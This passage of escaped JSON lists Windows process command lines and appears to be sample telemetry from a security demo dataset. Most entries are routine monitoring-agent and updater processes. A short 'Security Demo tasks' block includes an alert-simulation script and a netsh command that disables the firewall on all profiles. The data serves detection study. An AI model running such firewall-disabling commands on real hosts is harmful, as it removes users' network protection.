\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\Registry.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"NaN\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 4\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed here then please contact one of\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\netsh.exe firewall set opmode mode=disable profile=all\",\"cmd /c echo End Security Demo tasks\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"NaN\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /svc\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\Install\\\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\\\72.0.3626.109_72.0.3626.96_chrome_updater.exe\\\" --verbose-logging --do-not-launch-chrome --system-level\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\72.0.3626.96\\\\Installer\\\\setup.exe\\\" --update-setup-exe=\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\SETUP_PATCH.PACKED.7Z\\\" --new-setup-exe=\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe\\\" --verbose-logging --do-not-launch-chrome --system-level\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\72.0.3626.96\\\\Installer\\\\setup.exe\\\" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\\\\Windows\\\\TEMP\\\\Crashpad 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-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service Stat...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.v...\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo 